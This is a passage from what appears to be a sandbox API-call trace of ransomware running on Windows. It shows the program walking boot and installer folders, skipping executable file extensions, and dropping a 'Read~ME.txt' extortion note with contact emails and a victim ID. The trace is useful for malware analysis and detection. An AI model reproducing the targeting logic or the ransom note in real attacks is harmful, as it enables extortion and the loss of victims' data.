	[0062.302] lstrlenW (lpString=".dll") returned 4
	[0062.302] StrStrW (lpFirst="\\\\?\\C:\\Boot\\memtest.exe", lpSrch=".dll") returned 0x0
	[0062.302] lstrlenW (lpString=".bat") returned 4
	[0062.302] StrStrW (lpFirst="\\\\?\\C:\\Boot\\memtest.exe", lpSrch=".bat") returned 0x0
	[0062.303] lstrlenW (lpString=".cpl") returned 4
	[0062.303] StrStrW (lpFirst="\\\\?\\C:\\Boot\\memtest.exe", lpSrch=".cpl") returned 0x0
	[0062.303] lstrlenW (lpString=".sys") returned 4
	[0062.303] StrStrW (lpFirst="\\\\?\\C:\\Boot\\memtest.exe", lpSrch=".sys") returned 0x0
	[0062.303] lstrlenW (lpString=".msc") returned 4
	[0062.303] StrStrW (lpFirst="\\\\?\\C:\\Boot\\memtest.exe", lpSrch=".msc") returned 0x0
	[0062.303] lstrlenW (lpString=".com") returned 4
	[0062.303] StrStrW (lpFirst="\\\\?\\C:\\Boot\\memtest.exe", lpSrch=".com") returned 0x0
	[0062.303] lstrlenW (lpString=".lnk") returned 4
	[0062.303] StrStrW (lpFirst="\\\\?\\C:\\Boot\\memtest.exe", lpSrch=".lnk") returned 0x0
	[0062.303] lstrlenW (lpString=".msp") returned 4
	[0062.303] StrStrW (lpFirst="\\\\?\\C:\\Boot\\memtest.exe", lpSrch=".msp") returned 0x0
	[0062.303] lstrlenW (lpString=".pif") returned 4
	[0062.303] StrStrW (lpFirst="\\\\?\\C:\\Boot\\memtest.exe", lpSrch=".pif") returned 0x0
	[0062.303] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0062.303] StrStrW (lpFirst="\\\\?\\C:\\Boot\\memtest.exe", lpSrch="msp\r\n.pif") returned 0x0
	[0062.303] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0062.303] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c880 | out: hHeap=0x300000) returned 1
	[0062.303] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c928 | out: hHeap=0x300000) returned 1
	[0062.303] RtlWakeConditionVariable () returned 0x365f70
	[0062.303] GetCurrentThreadId () returned 0xaf0
	[0062.304] GetCurrentThreadId () returned 0xaf0
	[0062.304] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0062.316] GetCurrentThreadId () returned 0xaf0
	[0062.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0062.316] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0062.316] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8f0 | out: hHeap=0x300000) returned 1
	[0062.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0062.316] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\Read~ME.txt" (normalized: "c:\\boot\\nl-nl\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
	[0062.317] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0062.317] WriteFile (in: hFile=0x110, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x1f8fed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x1f8fed8*=0x35c, lpOverlapped=0x0) returned 1
	[0062.318] CloseHandle (hObject=0x110) returned 1
	[0062.318] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0062.318] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0062.318] RtlWakeConditionVariable () returned 0x365f70
	[0062.318] GetCurrentThreadId () returned 0xaf0
	[0062.318] GetCurrentThreadId () returned 0xaf0
	[0062.318] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0062.329] GetCurrentThreadId () returned 0xaf0
	[0062.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x39daf8
	[0062.329] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x366550 | out: hHeap=0x300000) returned 1
	[0062.329] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8f0 | out: hHeap=0x300000) returned 1
	[0062.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x366550
	[0062.329] lstrlenW (lpString=".scr") returned 4
	[0062.329] StrStrW (lpFirst="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui", lpSrch=".scr") returned 0x0
	[0062.329] lstrlenW (lpString=".cmd") returned 4
	[0062.329] StrStrW (lpFirst="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui", lpSrch=".cmd") returned 0x0
	[0062.329] lstrlenW (lpString=".dll") returned 4
	[0062.329] StrStrW (lpFirst="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui", lpSrch=".dll") returned 0x0
	[0062.329] lstrlenW (lpString=".bat") returned 4
	[0062.330] StrStrW (lpFirst="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui", lpSrch=".bat") returned 0x0
	[0062.330] lstrlenW (lpString=".cpl") returned 4
	[0062.330] StrStrW (lpFirst="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui", lpSrch=".cpl") returned 0x0
	[0062.330] lstrlenW (lpString=".sys") returned 4
	[0062.330] StrStrW (lpFirst="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui", lpSrch=".sys") returned 0x0
	[0062.330] lstrlenW (lpString=".msc") returned 4
	[0062.330] StrStrW (lpFirst="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui", lpSrch=".msc") returned 0x0
	[0062.330] lstrlenW (lpString=".com") returned 4
	[0062.330] StrStrW (lpFirst="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui", lpSrch=".com") returned 0x0
	[0062.330] lstrlenW (lpString=".lnk") returned 4
	[0062.330] StrStrW (lpFirst="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui", lpSrch=".lnk") returned 0x0
	[0062.330] lstrlenW (lpString=".msp") returned 4
	[0062.330] StrStrW (lpFirst="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui", lpSrch=".msp") returned 0x0
	[0062.330] lstrlenW (lpString=".pif") returned 4
	[0062.330] StrStrW (lpFirst="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui", lpSrch=".pif") returned 0x0
	[0062.330] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0062.330] StrStrW (lpFirst="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0062.330] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0062.331] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x366550 | out: hHeap=0x300000) returned 1
	[0062.331] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39daf8 | out: hHeap=0x300000) returned 1
	[0062.331] RtlWakeConditionVariable () returned 0x365f70
	[0062.331] GetCurrentThreadId () returned 0xaf0
	[0062.331] GetCurrentThreadId () returned 0xaf0
	[0062.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0062.331] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0062.331] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c928 | out: hHeap=0x300000) returned 1
	[0062.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0062.331] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\Read~ME.txt" (normalized: "c:\\boot\\pt-br\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
	[0062.331] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0062.331] WriteFile (in: hFile=0x110, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x1f8fed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x1f8fed8*=0x35c, lpOverlapped=0x0) returned 1
	[0062.333] CloseHandle (hObject=0x110) returned 1
	[0062.333] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0062.333] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0062.333] RtlWakeConditionVariable () returned 0x365f70
	[0062.333] GetCurrentThreadId () returned 0xaf0
	[0062.333] GetCurrentThreadId () returned 0xaf0
	[0062.333] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0062.342] GetCurrentThreadId () returned 0xaf0
	[0062.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x363d38
	[0062.342] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x366550 | out: hHeap=0x300000) returned 1
	[0062.342] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c928 | out: hHeap=0x300000) returned 1
	[0062.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x366550
	[0062.342] lstrlenW (lpString=".scr") returned 4
	[0062.342] StrStrW (lpFirst="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui", lpSrch=".scr") returned 0x0
	[0062.343] lstrlenW (lpString=".cmd") returned 4
	[0062.343] StrStrW (lpFirst="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui", lpSrch=".cmd") returned 0x0
	[0062.343] lstrlenW (lpString=".dll") returned 4
	[0062.343] StrStrW (lpFirst="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui", lpSrch=".dll") returned 0x0
	[0062.343] lstrlenW (lpString=".bat") returned 4
	[0062.343] StrStrW (lpFirst="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui", lpSrch=".bat") returned 0x0
	[0062.343] lstrlenW (lpString=".cpl") returned 4
	[0062.343] StrStrW (lpFirst="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui", lpSrch=".cpl") returned 0x0
	[0062.343] lstrlenW (lpString=".sys") returned 4
	[0062.343] StrStrW (lpFirst="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui", lpSrch=".sys") returned 0x0
	[0062.343] lstrlenW (lpString=".msc") returned 4
	[0062.343] StrStrW (lpFirst="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui", lpSrch=".msc") returned 0x0
	[0062.343] lstrlenW (lpString=".com") returned 4
	[0062.343] StrStrW (lpFirst="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui", lpSrch=".com") returned 0x0
	[0062.343] lstrlenW (lpString=".lnk") returned 4
	[0062.343] StrStrW (lpFirst="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui", lpSrch=".lnk") returned 0x0
	[0062.343] lstrlenW (lpString=".msp") returned 4
	[0062.343] StrStrW (lpFirst="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui", lpSrch=".msp") returned 0x0
	[0062.343] lstrlenW (lpString=".pif") returned 4
	[0062.343] StrStrW (lpFirst="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui", lpSrch=".pif") returned 0x0
	[0062.343] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0062.343] StrStrW (lpFirst="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0062.343] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0062.343] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x366550 | out: hHeap=0x300000) returned 1
	[0062.344] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363d38 | out: hHeap=0x300000) returned 1
	[0062.344] RtlWakeConditionVariable () returned 0x365f70
	[0062.344] GetCurrentThreadId () returned 0xaf0
	[0062.344] GetCurrentThreadId () returned 0xaf0
	[0062.344] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0062.409] GetCurrentThreadId () returned 0xaf0
	[0062.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f18
	[0062.409] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0062.409] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ca78 | out: hHeap=0x300000) returned 1
	[0062.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0062.409] lstrlenW (lpString=".scr") returned 4
	[0062.410] StrStrW (lpFirst="\\\\?\\C:\\bootmgr", lpSrch=".scr") returned 0x0
	[0062.410] lstrlenW (lpString=".cmd") returned 4
	[0062.410] StrStrW (lpFirst="\\\\?\\C:\\bootmgr", lpSrch=".cmd") returned 0x0
	[0062.410] lstrlenW (lpString=".dll") returned 4
	[0062.410] StrStrW (lpFirst="\\\\?\\C:\\bootmgr", lpSrch=".dll") returned 0x0
	[0062.410] lstrlenW (lpString=".bat") returned 4
	[0062.410] StrStrW (lpFirst="\\\\?\\C:\\bootmgr", lpSrch=".bat") returned 0x0
	[0062.410] lstrlenW (lpString=".cpl") returned 4
	[0062.410] StrStrW (lpFirst="\\\\?\\C:\\bootmgr", lpSrch=".cpl") returned 0x0
	[0062.410] lstrlenW (lpString=".sys") returned 4
	[0062.410] StrStrW (lpFirst="\\\\?\\C:\\bootmgr", lpSrch=".sys") returned 0x0
	[0062.410] lstrlenW (lpString=".msc") returned 4
	[0062.410] StrStrW (lpFirst="\\\\?\\C:\\bootmgr", lpSrch=".msc") returned 0x0
	[0062.410] lstrlenW (lpString=".com") returned 4
	[0062.410] StrStrW (lpFirst="\\\\?\\C:\\bootmgr", lpSrch=".com") returned 0x0
	[0062.410] lstrlenW (lpString=".lnk") returned 4
	[0062.410] StrStrW (lpFirst="\\\\?\\C:\\bootmgr", lpSrch=".lnk") returned 0x0
	[0062.410] lstrlenW (lpString=".msp") returned 4
	[0062.410] StrStrW (lpFirst="\\\\?\\C:\\bootmgr", lpSrch=".msp") returned 0x0
	[0062.410] lstrlenW (lpString=".pif") returned 4
	[0062.410] StrStrW (lpFirst="\\\\?\\C:\\bootmgr", lpSrch=".pif") returned 0x0
	[0062.410] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0062.410] StrStrW (lpFirst="\\\\?\\C:\\bootmgr", lpSrch="msp\r\n.pif") returned 0x0
	[0062.410] CreateFileW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0062.411] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0062.411] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f18 | out: hHeap=0x300000) returned 1
	[0062.411] RtlWakeConditionVariable () returned 0x365f70
	[0062.411] GetCurrentThreadId () returned 0xaf0
	[0062.411] GetCurrentThreadId () returned 0xaf0
	[0062.411] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35ca78
	[0062.411] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dc78 | out: hHeap=0x300000) returned 1
	[0062.411] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dc40 | out: hHeap=0x300000) returned 1
	[0062.411] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dc40
	[0062.411] lstrlenW (lpString=".scr") returned 4
	[0062.411] StrStrW (lpFirst="\\\\?\\C:\\BOOTSECT.BAK", lpSrch=".scr") returned 0x0
	[0062.411] lstrlenW (lpString=".cmd") returned 4
	[0062.411] StrStrW (lpFirst="\\\\?\\C:\\BOOTSECT.BAK", lpSrch=".cmd") returned 0x0
	[0062.411] lstrlenW (lpString=".dll") returned 4
	[0062.412] StrStrW (lpFirst="\\\\?\\C:\\BOOTSECT.BAK", lpSrch=".dll") returned 0x0
	[0062.412] lstrlenW (lpString=".bat") returned 4
	[0062.412] StrStrW (lpFirst="\\\\?\\C:\\BOOTSECT.BAK", lpSrch=".bat") returned 0x0
	[0062.412] lstrlenW (lpString=".cpl") returned 4
	[0062.412] StrStrW (lpFirst="\\\\?\\C:\\BOOTSECT.BAK", lpSrch=".cpl") returned 0x0
	[0062.412] lstrlenW (lpString=".sys") returned 4
	[0062.412] StrStrW (lpFirst="\\\\?\\C:\\BOOTSECT.BAK", lpSrch=".sys") returned 0x0
	[0062.412] lstrlenW (lpString=".msc") returned 4
	[0062.412] StrStrW (lpFirst="\\\\?\\C:\\BOOTSECT.BAK", lpSrch=".msc") returned 0x0
	[0062.412] lstrlenW (lpString=".com") returned 4
	[0062.412] StrStrW (lpFirst="\\\\?\\C:\\BOOTSECT.BAK", lpSrch=".com") returned 0x0
	[0062.412] lstrlenW (lpString=".lnk") returned 4
	[0062.412] StrStrW (lpFirst="\\\\?\\C:\\BOOTSECT.BAK", lpSrch=".lnk") returned 0x0
	[0062.412] lstrlenW (lpString=".msp") returned 4
	[0062.412] StrStrW (lpFirst="\\\\?\\C:\\BOOTSECT.BAK", lpSrch=".msp") returned 0x0
	[0062.412] lstrlenW (lpString=".pif") returned 4
	[0062.412] StrStrW (lpFirst="\\\\?\\C:\\BOOTSECT.BAK", lpSrch=".pif") returned 0x0
	[0062.412] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0062.413] StrStrW (lpFirst="\\\\?\\C:\\BOOTSECT.BAK", lpSrch="msp\r\n.pif") returned 0x0
	[0062.413] CreateFileW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0062.413] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dc40 | out: hHeap=0x300000) returned 1
	[0062.413] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ca78 | out: hHeap=0x300000) returned 1
	[0062.414] RtlWakeConditionVariable () returned 0x365f70
	[0062.414] GetCurrentThreadId () returned 0xaf0
	[0062.414] GetCurrentThreadId () returned 0xaf0
	[0062.414] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35ca78
	[0062.414] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dce8 | out: hHeap=0x300000) returned 1
	[0062.414] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dcb0 | out: hHeap=0x300000) returned 1
	[0062.414] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dcb0
	[0062.414] lstrlenW (lpString=".scr") returned 4
	[0062.414] StrStrW (lpFirst="\\\\?\\C:\\Config.Msi\\.", lpSrch=".scr") returned 0x0
	[0062.414] lstrlenW (lpString=".cmd") returned 4
	[0062.414] StrStrW (lpFirst="\\\\?\\C:\\Config.Msi\\.", lpSrch=".cmd") returned 0x0
	[0062.414] lstrlenW (lpString=".dll") returned 4
	[0062.414] StrStrW (lpFirst="\\\\?\\C:\\Config.Msi\\.", lpSrch=".dll") returned 0x0
	[0062.414] lstrlenW (lpString=".bat") returned 4
	[0062.414] StrStrW (lpFirst="\\\\?\\C:\\Config.Msi\\.", lpSrch=".bat") returned 0x0
	[0062.414] lstrlenW (lpString=".cpl") returned 4
	[0062.414] StrStrW (lpFirst="\\\\?\\C:\\Config.Msi\\.", lpSrch=".cpl") returned 0x0
	[0062.415] lstrlenW (lpString=".sys") returned 4
	[0062.415] StrStrW (lpFirst="\\\\?\\C:\\Config.Msi\\.", lpSrch=".sys") returned 0x0
	[0062.415] lstrlenW (lpString=".msc") returned 4
	[0062.415] StrStrW (lpFirst="\\\\?\\C:\\Config.Msi\\.", lpSrch=".msc") returned 0x0
	[0062.415] lstrlenW (lpString=".com") returned 4
	[0062.415] StrStrW (lpFirst="\\\\?\\C:\\Config.Msi\\.", lpSrch=".com") returned 0x0
	[0062.415] lstrlenW (lpString=".lnk") returned 4
	[0062.415] StrStrW (lpFirst="\\\\?\\C:\\Config.Msi\\.", lpSrch=".lnk") returned 0x0
	[0062.415] lstrlenW (lpString=".msp") returned 4
	[0062.415] StrStrW (lpFirst="\\\\?\\C:\\Config.Msi\\.", lpSrch=".msp") returned 0x0
	[0062.415] lstrlenW (lpString=".pif") returned 4
	[0062.415] StrStrW (lpFirst="\\\\?\\C:\\Config.Msi\\.", lpSrch=".pif") returned 0x0
	[0062.415] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0062.415] StrStrW (lpFirst="\\\\?\\C:\\Config.Msi\\.", lpSrch="msp\r\n.pif") returned 0x0
	[0062.415] CreateFileW (lpFileName="\\\\?\\C:\\Config.Msi\\." (normalized: "c:\\config.msi\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0062.415] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dcb0 | out: hHeap=0x300000) returned 1
	[0062.415] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ca78 | out: hHeap=0x300000) returned 1
	[0062.415] RtlWakeConditionVariable () returned 0x365f70
	[0062.415] GetCurrentThreadId () returned 0xaf0
	[0062.415] GetCurrentThreadId () returned 0xaf0
	[0062.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35ca78
	[0062.415] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dd58 | out: hHeap=0x300000) returned 1
	[0062.415] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dd20 | out: hHeap=0x300000) returned 1
	[0062.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dd20
	[0062.416] lstrlenW (lpString=".scr") returned 4
	[0062.416] StrStrW (lpFirst="\\\\?\\C:\\Config.Msi\\..", lpSrch=".scr") returned 0x0
	[0062.416] lstrlenW (lpString=".cmd") returned 4
	[0062.416] StrStrW (lpFirst="\\\\?\\C:\\Config.Msi\\..", lpSrch=".cmd") returned 0x0
	[0062.416] lstrlenW (lpString=".dll") returned 4
	[0062.416] StrStrW (lpFirst="\\\\?\\C:\\Config.Msi\\..", lpSrch=".dll") returned 0x0
	[0062.416] lstrlenW (lpString=".bat") returned 4
	[0062.416] StrStrW (lpFirst="\\\\?\\C:\\Config.Msi\\..", lpSrch=".bat") returned 0x0
	[0062.416] lstrlenW (lpString=".cpl") returned 4
	[0062.416] StrStrW (lpFirst="\\\\?\\C:\\Config.Msi\\..", lpSrch=".cpl") returned 0x0
	[0062.416] lstrlenW (lpString=".sys") returned 4
	[0062.416] StrStrW (lpFirst="\\\\?\\C:\\Config.Msi\\..", lpSrch=".sys") returned 0x0
	[0062.416] lstrlenW (lpString=".msc") returned 4
	[0062.416] StrStrW (lpFirst="\\\\?\\C:\\Config.Msi\\..", lpSrch=".msc") returned 0x0
	[0062.416] lstrlenW (lpString=".com") returned 4
	[0062.416] StrStrW (lpFirst="\\\\?\\C:\\Config.Msi\\..", lpSrch=".com") returned 0x0
	[0062.416] lstrlenW (lpString=".lnk") returned 4
	[0062.416] StrStrW (lpFirst="\\\\?\\C:\\Config.Msi\\..", lpSrch=".lnk") returned 0x0
	[0062.416] lstrlenW (lpString=".msp") returned 4
	[0062.416] StrStrW (lpFirst="\\\\?\\C:\\Config.Msi\\..", lpSrch=".msp") returned 0x0
	[0062.416] lstrlenW (lpString=".pif") returned 4
	[0062.416] StrStrW (lpFirst="\\\\?\\C:\\Config.Msi\\..", lpSrch=".pif") returned 0x0
	[0062.416] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0062.416] StrStrW (lpFirst="\\\\?\\C:\\Config.Msi\\..", lpSrch="msp\r\n.pif") returned 0x0
	[0062.416] CreateFileW (lpFileName="\\\\?\\C:\\Config.Msi\\.." (normalized: "c:"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0062.416] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dd20 | out: hHeap=0x300000) returned 1
	[0062.417] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ca78 | out: hHeap=0x300000) returned 1
	[0062.417] RtlWakeConditionVariable () returned 0x365f70
	[0062.417] GetCurrentThreadId () returned 0xaf0
	[0062.417] GetCurrentThreadId () returned 0xaf0
	[0062.417] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0062.417] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0062.417] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dc08 | out: hHeap=0x300000) returned 1
	[0062.417] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0062.417] CreateFileW (lpFileName="\\\\?\\C:\\Config.Msi\\Read~ME.txt" (normalized: "c:\\config.msi\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0062.417] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0062.418] WriteFile (in: hFile=0x114, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x1f8fed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x1f8fed8*=0x35c, lpOverlapped=0x0) returned 1
	[0062.419] CloseHandle (hObject=0x114) returned 1
	[0062.419] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0062.419] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0062.419] RtlWakeConditionVariable () returned 0x365f70
	[0062.419] GetCurrentThreadId () returned 0xaf0
	[0062.419] GetCurrentThreadId () returned 0xaf0
